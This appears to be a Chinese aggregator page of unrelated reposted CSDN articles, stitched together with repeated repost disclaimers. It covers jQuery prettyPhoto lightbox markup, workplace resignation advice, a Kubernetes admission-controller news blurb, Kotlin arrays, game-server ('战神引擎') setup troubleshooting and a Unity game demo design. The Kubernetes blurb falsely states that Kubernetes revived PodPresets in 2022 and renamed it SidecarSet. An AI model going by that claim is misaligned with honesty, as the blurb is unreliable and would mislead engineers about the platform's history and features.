<script src="js/jquery.prettyPhoto.js" type="text/javascript" charset="utf-8"></script> 2、初始化jquery插件，以下是最简单的配置的js代码 复制代码代码如下: $(document).ready(function(){ $("a[rel^='prettyPhoto']").prettyPhoto(); }); 下面是每种类型的html代码 1、单张图片 复制代码代码如下: <a href="images/fullscreen/2.jpg" rel="prettyPhoto" title="This is the description"> <img src="images/thumbnails/t_2.jpg" width="60" height="60" alt="This is the title" /> </a> 2、图片相册 复制代码代码如下: <a href="images/fullscreen/1.jpg" rel="prettyPhoto[pp_gal]" title="You can add caption to pictures."> <img src="images/thumbnails/t_1.jpg" width="60" height="60" alt="Red round shape" /> </a> <a href="images/fullscreen/2.jpg" rel="prettyPhoto[pp_gal]"> <img src="images/thumbnails/t_2.jpg" width="60" height="60" alt="Nice building" /> </a> <a href="images/fullscreen/3.jpg" rel="prettyPhoto[pp_gal]"> <img src="images/thumbnails/t_3.jpg" width="60" height="60" alt="Fire!" /> </a> <a href="images/fullscreen/4.jpg" rel="prettyPhoto[pp_gal]"> <img src="images/thumbnails/t_4.jpg" width="60" height="60" alt="Rock climbing" /> </a> <a href="images/fullscreen/5.jpg" rel="prettyPhoto[pp_gal]"> <img src="images/thumbnails/t_5.jpg" width="60" height="60" alt="Fly kite, fly!" /> </a> 3、单个flash 复制代码代码如下: <a href="http://www.adobe.com/products/flashplayer/include/marquee/design.swf?width=792&height=294" rel="prettyPhoto[flash]" title="Flash 10 demo"> <img src="images/thumbnails/flash-logo.jpg" alt="Flash 10 demo" width="60" /> </a> 4、YouTube视频 复制代码代码如下: <a href="http://www.youtube.com/watch?v=qqXi8WmQ_WM" rel="prettyPhoto" title=""> <img src="images/thumbnails/flash-logo.jpg" alt="YouTube" width="60" /> </a> 5、Vimeo 复制代码代码如下: <a href="http://vimeo.com/8245346" rel="prettyPhoto" title=""> <img src="images/thumbnails/flash-logo.jpg" alt="YouTube" width="60" /> </a> 6、QuickTime影片 复制代码代码如下: <a title="Despicable Me" rel="prettyPhoto[movies]" href="http://trailers.apple.com/movies/universal/despicableme/despicableme-tlr1_r640s.mov?width=640&height=360"> <img src="/wp-content/themes/NMFE/images/thumbnails/quicktime-logo.png" alt="Despicable Me" width="50" /> </a> <a title="Tales from Earthsea" rel="prettyPhoto[movies]" href="http://trailers.apple.com/movies/disney/talesfromearthsea/talesfromearthsea-tlr1_r640s.mov?width=640&height=340"> <img src="/wp-content/themes/NMFE/images/thumbnails/quicktime-logo.png" alt="Tales from Earthsea" width="50" /> </a> <a title="Grease Sing-A-Long" rel="prettyPhoto[movies]" href="http://trailers.apple.com/movies/paramount/greasesingalong/greasesingalong-tlr1_r640s.mov?width=640&height=272"> <img src="/wp-content/themes/NMFE/images/thumbnails/quicktime-logo.png" alt="Grease Sing-A-Long" width="50" /> </a> 7、外部网站（iframe） 复制代码代码如下: <a href="http://www.google.com?iframe=true&width=100%&height=100%" rel="prettyPhoto[iframes]" title="Google.com opened at 100%">Google.com</a> <a href="http://www.apple.com?iframe=true&width=500&height=250" rel="prettyPhoto[iframes]">Apple.com</a> <a href="http://www.twitter.com?iframe=true&width=400&height=200" rel="prettyPhoto[iframes]">Twitter.com</a> 8、普通文本 复制代码代码如下: <a href="inline-1" rel="prettyPhoto" ><img src="/wp-content/themes/NMFE/images/thumbnails/earth-logo.jpg" alt="" width="50" /></a> <div id="inline-1" class="hide"> <p>这里是普通的文本</p> <p>今天给大家介绍的prettyPhoto希望大家能喜欢，这个是播放普通文本的html</p> </div> 9、AJAX内容 复制代码代码如下: <a rel="prettyPhoto[ajax]" href="/demos/prettyPhoto-jquery-lightbox-clone/xhr_response.html? ajax=true&width=325&height=185">Ajax content</a> 三、总结 prettyBox图片播放插件很好用，赶紧用它来打造你的专属相册吧！ 本篇文章为转载内容。原文链接：https://blog.csdn.net/gong1422425666/article/details/72817469。 该文由互联网用户投稿提供，文中观点代表作者本人意见，并不代表本站的立场。 作为信息平台，本站仅提供文章转载服务，并不拥有其所有权，也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况，请及时联系我们，我们将第一时间进行核实并删除相应内容。

...blog.csdn.net/X8i0Bev/article/details/102812977。 该文由互联网用户投稿提供，文中观点代表作者本人意见，并不代表本站的立场。 作为信息平台，本站仅提供文章转载服务，并不拥有其所有权，也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况，请及时联系我们，我们将第一时间进行核实并删除相应内容。 点击上面↑「爱开发」关注我们 每晚10点，分享软件开发资源、社交电商资源 职场里，当你向领导提交辞职申请时，领导一般都会挽留你，不论你们之前工作上有什么过节的，他都会挽留你，领导挽留你的话都是真心实意的，起码在那一刻，他是真的想挽留你，当然，除非他早就看你不顺眼了，巴不得你早点走，那是另一回事，但即使他真的想赶你走，场面话相信他也会说的。 张工是一名java程序员，最近他就有了这样的困扰，其他同事一提交辞职申请领导就批准了，而他提了离职后，却被两个领导轮流极力挽留，感情牌，加薪牌都打了。怎么办？要不要留下来，新的offer也接了，薪资待遇也很满意。 有网友表示，既然决定辞职了，又有新的offer，就要勇敢迈出脚步。 辞职时，领导挽留，一般有下面几个原因： 1.人情世故，场面话是要有的 “怎么啦小洪，干得好好的怎么突然想走啊”，作为领导，客套话一般会说的。试想一下，领导不这样做，作为员工你心里肯定不好受，“这家伙，巴不得我早点走”至于你离开公司以后会不会跟别人说公司的坏话，那就跟他没有关系了，哪怕你是因为他才离职的。领导这种做法从另一方面看，也是保持“做人留一线，日后好相见的”想法，说不定你辞职后，事业一路高升。 2.跟绩效挂钩 部门有一个离职率，如果部门离职率过高，人事会对部门管理者进行考核，作为领导本人来说，他也不想因此被贴上管理存在问题的标签。 不知你有没有觉得，当部门的离职率超过20%的时候，你会发现领导对你们的态度发生了微妙的变化，对你们开始变得友好了。 3. 你的工作岗位在公司很重要，或者说公司一时半会找不到合适的人来替代你的工作，要是你辞职了，工作没有人接手，领导当然是努力挽留你了，给你加薪也不为过。 善意待人 今日你面试别人，别人明日可能面试你，软件行业这个圈子，有时候说小还真的小。好聚好散。 对此不知你是怎么看待的，欢迎交流！ -END- 往期精选推荐 闲聊区 育儿区 技术区 本篇文章为转载内容。原文链接：https://blog.csdn.net/X8i0Bev/article/details/102812977。 该文由互联网用户投稿提供，文中观点代表作者本人意见，并不代表本站的立场。 作为信息平台，本站仅提供文章转载服务，并不拥有其所有权，也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况，请及时联系我们，我们将第一时间进行核实并删除相应内容。

...入控制器在Kubernetes生态系统中的角色日益凸显，尤其在保障云原生应用安全与资源优化配置方面起到了关键作用。近期，随着社区对安全性和稳定性需求的不断提升，新的准入控制器策略也在不断涌现和迭代。 例如，2022年3月，Kubernetes官方宣布了PodPresets Admission Controller的回归，并将其更名为SidecarSet。这一改进使得运维人员能够更方便地为多个Pod定义共享配置和容器，强化了多容器应用部署的一致性与可维护性。同时，社区还在积极讨论ServiceAccountTokenVolumeProjection Admission Controller的功能增强，以实现对服务账户令牌自动挂载的安全策略控制。 另一方面，针对集群资源滥用和无序扩张的问题，有开发者提出了一种新型的动态资源配额管理方案，通过自定义准入控制器来实时监控并调整Namespace级别的资源限额，确保了集群资源的高效利用和公平分配。这种精细化管理方式不仅提升了集群的整体性能表现，还降低了由于资源争抢引发的故障风险。 此外，Kubernetes生态中一些第三方项目也围绕准入控制器展开了深入探索，如Open Policy Agent(OPA)集成到Webhook中，提供了强大的、声明式的策略引擎，让集群管理者能更加灵活地定义和执行复杂的准入规则，从而进一步提升集群安全性及合规性。 总之，准入控制器作为Kubernetes平台的核心组件，其发展动态与创新实践值得持续关注。未来，随着云原生技术的快速发展，准入控制器将承载更多的功能与责任，成为驱动Kubernetes集群迈向更高稳定性和安全性的基石。

...blog.csdn.net/HugMua/article/details/121866989。 该文由互联网用户投稿提供，文中观点代表作者本人意见，并不代表本站的立场。 作为信息平台，本站仅提供文章转载服务，并不拥有其所有权，也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况，请及时联系我们，我们将第一时间进行核实并删除相应内容。 创建数组 val 声明的数组只能改变元素 var 声明的数组可以改变引用 创建方式 举例 Array () 通用数组 Array(size: Int, init: (Int) -> T) val array: Array<Int> = Array(5) { i -> i 2 } 5是数组长度，i是索引值，元素赋值为索引值2 原生数组 IntArray (长度) Array (长度) val ys1 = IntArray(5) //元素都是0 val ys2 = BooleanArray(5) //元素都是false val ys3 = CharArray(5) //元素都是空格 arrayOfXXX () 指定元素(元素可为任意类型) arrayOf () val array1: Array<Any> = arrayOf(1, '你', "hahaah", false) for (element: Any in array1) print(element) val array2: Array<Int> = arrayOf(1, 2, 3) val array3: Array<Person> = arrayOf(person1, person2) 指定长度(元素都为null) arrayOfNulls () val arrayNull: Array<String> = arrayOfNulls<String>(6) 空数组 emptyArray () val empty: Array<String> = emptyArray<String>() 原生数组(避免拆装箱开销) intArrayOf () ArrayOf () val array3: IntArray = intArrayOf(1, 3, 5, 7) val array4: CharArray = charArrayOf('a', 'b', 'c') 原生数组 & 通用数组 为了避免不必要的拆装箱开销，或者与Java互操作，可以使用原生类型数组。这些类与Array没有继承关系，只是有相同的方法属性，因此 IntArray 和 Array<Int> 是完全不同的类型，但两者可以互转。 原生类型数组 对应Java中的基本数据类型数组 IntArray Array int [ ] [ ] 方法 说明 举例 toIntArray () toArray () 通用→原生 val ty: Array<Int> = arrayOf(1, 2, 3) val toIntArray: IntArray = ty.toIntArray() toTypedArray () 原生→通用 val ys: IntArray = intArrayOf(1, 2, 3) val toTypedArray: Array<Int> = ys.toTypedArray() Person[] people = {new Person(), new Person()}; //Javaval people: Array<Person> = arrayOf(Person(), Person()) //Kotlin 遍历 val arr = arrayOf(1,2,3,4,5)//通过forEach循环arr.forEach{println(it)}//通过iterator循环var iterable:Iterator<Integer> = arr.iterator();while(iterable.hasNext()){println(iterable.next())}for(element in arr.iterator()){println(element)}//for循环一for(element in arr){println(element)}//for循环二for(index in 0..arr.size-1){println(arr[index])}//for循环三for(index in arr.indices){println(arr[index])}//for循环四for((index, value) in arr.withIndex()){println("$index位置的元素是：$value")}// 上面写法等价于下面写法for (element in arr.withIndex()) {println("${element.index} : ${element.value}")} 操作 方法 说明 .size .indices 数组长度 数组最大索引值 get (索引) 获取元素，推荐使用操作符 [ ] arr[3] 等同于 arr.get(3) set (索引，目标值) 给元素赋值，推荐使用操作符 [ ] arr[3] = "哈" 等同于 arr.set(3,"哈") plus (目标值) 增加：返回一个数组长度+1并用目标值赋值新元素的新数组，不对原数组进行改动 arr + 6 等同于 arr.plus(6) slice (区间) 截取：返回一个截取该区间元素的新数组，不对原数组进行改动 fill (目标值) fill (目标值，起始索引，结束索引) 修改：将该区间的元素赋值为指定值 copyOf () copyOf (个数) copyOfRange (起始索引，结束索引) 返回一个 完全复制了原数组 的新数组 返回一个 正向复制原数组元素个数 的新数组，超过原数组大小的新元素值为null 返回一个 复制原数组该区间元素 的新数组，超过原数组索引范围报错 asList () 数组转集合 reverse () reversedArray () reversed () 反转：将数组中的元素顺序进行反转 返回一个反转后的新数组，不对原数组进行改动 返回一个反转后的list，不对原数组进行改动 sort () sortedArray () sorted () 排序：对数组中的元素进行自然排序 返回一个自然排序后的新数组，不对原数组进行改动 返回一个自然排序后的list，不对原数组进行改动 joinToString (字符串分隔符) 将Array原生数组拼接成一个String，默认分隔符是“,” all (predicate) any (predicate) 全部元素满足条件返回 true，否则 false 任一元素满足条件返回 true，否则 false val arr = arrayOf(1, 2, 3, 4, 5)val cc = charArrayOf('你','们','好')val brr = arrayOf(5,2,1,4,3)//数组长度val num1 = arr.size //5//最大索引val num2 = arr.indices //4for (i in arr.indices) print(i) //01234//条件判断val boolean1 = arr.all { i -> i > 3 } //false，不是全部元素>3//增val arr1 = arr.plus(6) //123456，长度+1并赋值为6val arr2 = arr + 6 //同上//改val arr3 = arr.slice(2..4) //345arr.fill(0) //00000，操作的是原数组val str1 = cc.joinToString("") //你们好brr.sort() //12345val list1 = brr.sorted() //返回一个排序后的listval brr4 = brr.sortedArray() //返回排序后的新数组val arr5 = arr.copyOf() //12345val arr6 = arr.copyOf(2) //12val arr7 = arr.copyOfRange(2,4) //34 多维数组 //方式一：数组里面存的元素是数组val aa = arrayOf(arrayOf(1, 2, 3),arrayOf(4, 5, 6))print(aa[1][2]) //6//方式二：元素为null但类型是数组val bb = arrayOfNulls<Array<Int>>(2) 本篇文章为转载内容。原文链接：https://blog.csdn.net/HugMua/article/details/121866989。 该文由互联网用户投稿提供，文中观点代表作者本人意见，并不代表本站的立场。 作为信息平台，本站仅提供文章转载服务，并不拥有其所有权，也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况，请及时联系我们，我们将第一时间进行核实并删除相应内容。

...blog.csdn.net/qq_43410101/article/details/108263880。 该文由互联网用户投稿提供，文中观点代表作者本人意见，并不代表本站的立场。 作为信息平台，本站仅提供文章转载服务，并不拥有其所有权，也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况，请及时联系我们，我们将第一时间进行核实并删除相应内容。 手游和端游最大的区别就是手游技术是封闭的，在使用的过程中，出现了问题，很难找到解决的方法，比如架设战神引擎不开门的问题，读取不到列表的问题，等等，今天给大家分享一下架设战神引擎进入游戏不开门的问题怎么解决，提供的主要是解决思路，问题千万种，思路最重要。 导致游戏不开门的问题比较多，帮主把最常见的6个问题列出来，你们自己参照去检查。 1、战神引擎是不是全部启动成功了？ 战神引擎成功启动后，有五个程序，分别是DBServer（数据库）、M2Server（M2控制台）、LoginGate（游戏网关）、GGService（登录网关）、ItemLogServer（日志），这五个程序都在服务器的任务栏上面运行了吗？如果运行了，那么进入第2个。 2、服务器的端口是不是开放了？ 架设战神引擎服务器，默认需要用到的端口有这些，5600、5100、6000、7000、7100、8080、10000、20000、27017(MongoDB芒果数据库)等，这些是战神引擎默认的端口，你看看这些端口在当前架设的服务器上是不是开放了，如果不确定，可以去tool.chinaz.com/port/这个网站扫描看看。 3、引擎里面的IP是否是当前服务器的IP地址？ 战神服务端里面的有4个配置文件需要修改里面的IP地址，分别在是这些文件，把这些文件别人的IP换成架设服务器所在的IP地址。 D:\mud2.0\DBServer\DBService.ini D:\mud2.0\GateServer\GameGate\MirGate.ini D:\mud2.0\GateServer\logingate\LoginGate.ini D:\mud2.0\Mir200\Gs1!Setup.txt 4、引擎里面的端口是不是修改过，在这里帮主推荐使用默认的。 跟第二条一样，引擎尽量使用默认的端口，如果修改了端口，导致引擎相互之间无法连接成功，引擎启动失败，门自然也不会开。 5、列表文件是不是存在 战神引擎列表文件有两份，分别是serverlist.json和serverlist.lua，路径如下，看看是不是有这两份文件。 D:\mud2.0\logincenter\logincenter_win\config\serverlist.json D:\mud2.0\logincenter\logincenter_win\application\controllers\serverlist.lua 这2分文件是否存在，如果存在，那么看第6条，答案就在最上面。 6、列表文件里面的IP、端口、格式是不是正确的(这个导致不开门的原因最多) 按照正常的流程，开门之后，就会出现黄色的列表信息，如下图，没有出现，那么可能serverlist.lua文件有问题，这其中包括了里面的列表格式，这个非常重要，你们在修改的时候，记得只修改里面的IP和游戏名字，端口默认8088即可。更不要添加标点符号等，多一个或少空格都会导致这份文件无法加载，从而出现了不开门的情况，如果开门了，到这里点击进不去，也是因为你修改修改的时候，破坏了标准的Lua格式。 本篇文章为转载内容。原文链接：https://blog.csdn.net/qq_43410101/article/details/108263880。 该文由互联网用户投稿提供，文中观点代表作者本人意见，并不代表本站的立场。 作为信息平台，本站仅提供文章转载服务，并不拥有其所有权，也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况，请及时联系我们，我们将第一时间进行核实并删除相应内容。

...blog.csdn.net/Zireael2019/article/details/126690910。 该文由互联网用户投稿提供，文中观点代表作者本人意见，并不代表本站的立场。 作为信息平台，本站仅提供文章转载服务，并不拥有其所有权，也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况，请及时联系我们，我们将第一时间进行核实并删除相应内容。 [Unity] 包括场景互动与射击要素的俯视角闯关游戏Demo 一个简单的单机闯关小游戏，主角到达终点即为胜利，关卡中有两种怪物能够对主角造成伤害，此外还有灯、陷阱、宝箱等场景互动要素，主角从宝箱中获得枪后能够进行射击杀死怪物 游戏逻辑简述 主角 初始有三点血量，被怪物攻击或触发陷阱回收到伤害，血量为零时进行副本结算，成功到达终点后游戏胜利 当获得武器后可以发射子弹，子弹会沿直线飞行，碰到障碍物、怪物、墙壁后，子弹消失 怪物 石像鬼 无法移动，血量无限，攻击到主角会直接将主角杀死 AI：来回探照，探照到主角后将主角杀死 幽灵 初始九点血量，当被子弹攻击后根据角色攻击力扣除血量，血量为0后死亡，3秒后出生点符火 AI：出生后在一定范围内巡逻，被攻击后会追逐主角直到死亡 场景互动物体 灯光 灯每15秒自动亮一次，亮10秒钟自动熄灭，灯亮起时，灯光范围内的怪物死亡 主角操作开关改变当前房间灯的状态（关-》开，开-》关），状态改变后场景机制的灯重新计时。 减速陷阱 主角触发陷阱后会减少主角50%移动速度，主角离开陷阱后依然会持续5秒减速效果。 地刺陷阱 每间隔3秒会伸出尖刺，持续3秒，尖刺缩回，重新开始计时。当尖刺处于伸出状态时，主角在陷阱范围，每秒会受到1点伤害。 宝箱 打开宝箱后主角可以获得一把武器 实现简述 由于实现功能较为简单，因此只简述实现思路 类组织结构 使用彩色建模的思想组织类结构，类图： SceneObject 所有场景物体包括主角、怪物、互动物体等的抽象基类，仅有init()抽象方法 Character 拥有血量和攻击力的实体继承自Character，同时实现getATK()和beDamage()抽象方法用于处理攻击和受击逻辑 SceneItem 其他场景实体继承自SceneItem，无特殊属性和方法 Scene 场景管理类，能偶根据Json文件生成场景物体，保存了实体预制体，还拥有一个静态List和静态方法用于运行时向场景中添加新实体 InteractionMI 用于处理单个实体无法处理或不属于单个实体的逻辑，包括： 幽灵追踪主角时获取角色位置 帮助实体初始化定时器组件 减速陷阱是否可以回复主角速度 主角与灯、宝箱、武器的交互 DamageMI 包含静态方法Damage()专门用于处理伤害逻辑，方便后续服务器验证等逻辑 逻辑实现 主角 Protagonist类用于处理主角相关逻辑 受击逻辑 当主角不处于无敌状态，播放受击动画，扣除血量并进入无敌状态，定时器定时一秒后关闭无敌状态 交互逻辑 用户输入交互信号后，交由InteractionMI判断交互是否成功，返回交互信息，主角播放对应动画 武器逻辑 当主角获得武器后，主角身上保存武器的引用，与武器交互直接调用武器的对应方法（Drop(),Fire()) 结算逻辑 当主角HP小于等于0时，调用Scene的静态方法，请求场景结算 怪物 石像鬼 血量无限，没有受击逻辑，当检测组件检测到主角时，调用继承的Attack方法，攻击主角 幽灵 三种状态：die、patrol,chase 死亡状态下三秒后会在第一个导航点复活 巡逻状态下检测到主角会调用继承的Attack方法攻击主角 追逐状态下会每帧获得主角位置追逐主角 其他场景物品 灯光 初始化时添加计时器用于控制自动开关，用户交互后重置计时器 开启时使用一个锥形的检测器检测幽灵是否在范围内，如果在调用Damage对幽灵造成伤害 存在一个Box Collider，当玩家进入时，调用InteractionMI的方法，将InteractionMI保存的静态SwitchableLight引用置为自己，当玩家交互时这个引用不为null，则调用这个引用的SwitchableLight的ChangeLight方法完成开关灯的交互 减速陷阱 当玩家进入时，调用InteractionMI的方法，使其内置的静态_slowDownCount计数加一，并调用玩家的SetSpeedRatio方法使玩家减速 当玩家离开，设置计时器5秒后调用InteractionMI的方法，使其内置的静态_slowDownCount计数减一，当计数为零时才可以调用玩家的SetSpeedRatio方法使玩家回复正常速度 地刺陷阱 初始化时设置计时器，每三秒改变一次状态，当玩家进入，设置计时器每一秒对玩家造成一次伤害，当玩家离开，取消计时器 宝箱 内置public GameObject GWeapon;用于保存要生成的枪的预制体 当玩家第一次与宝箱交互，播放开宝箱动画，设置计时器1.2秒后根据预制体克隆一个武器，并将武器通过Scene的静态方法加入到Scene维护的SceneObject列表中，自身保存新生成的武器的引用 当武器生成后玩家再与宝箱交互则通过InteractionMI的方法将武器父节点设为玩家，玩家获得武器的引用，自身武器引用置为null 武器 内置private Transform _parent = null;用于保存父物体 Drop方法被调用时，若父物体不为空，设置自身刚体属性，设置速度使武器有抛出效果，设置计时器1秒后恢复到没有物理效果的状态，父物体置为空 Fire方法被调用，若能够开火，则生成并初始化一个子弹，生成时将保存的父物体的Transform给子弹，保证子弹能够向角色前方发射，开火后设置开火状态为不能开火，设置计时器0.5秒后恢复开火状态 当父物体信息为空，与其他交互逻辑类似，通过InteractionMI完成武器捡起的交互逻辑 子弹 初始化时设置初速度，启动定时器1秒后若没有销毁则自动销毁，若碰撞到幽灵，对幽灵造成伤害，其他碰撞销毁自己 本篇文章为转载内容。原文链接：https://blog.csdn.net/Zireael2019/article/details/126690910。 该文由互联网用户投稿提供，文中观点代表作者本人意见，并不代表本站的立场。 作为信息平台，本站仅提供文章转载服务，并不拥有其所有权，也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况，请及时联系我们，我们将第一时间进行核实并删除相应内容。